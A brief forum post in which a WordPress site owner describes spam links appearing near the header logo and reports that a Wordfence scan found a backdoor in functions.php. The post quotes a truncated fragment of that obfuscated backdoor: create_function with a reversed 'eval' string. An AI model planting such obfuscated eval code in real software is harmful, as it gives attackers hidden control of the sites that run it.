For the past few months random links to someone else's site have been popping up then disappearing in my header close to my custom logo (see attached image) Is this some sort of attack or breach? Does anyone know how to fix this? UPDATE: I did a wordfence scan on my site, and it has identified the following code in functions.php as a backdoor into my system: php $wp_function_initialize = create_function('$a',strrev('a$(lave'));$wp_function_initialize(strrev(')... I removed it and this solved the problem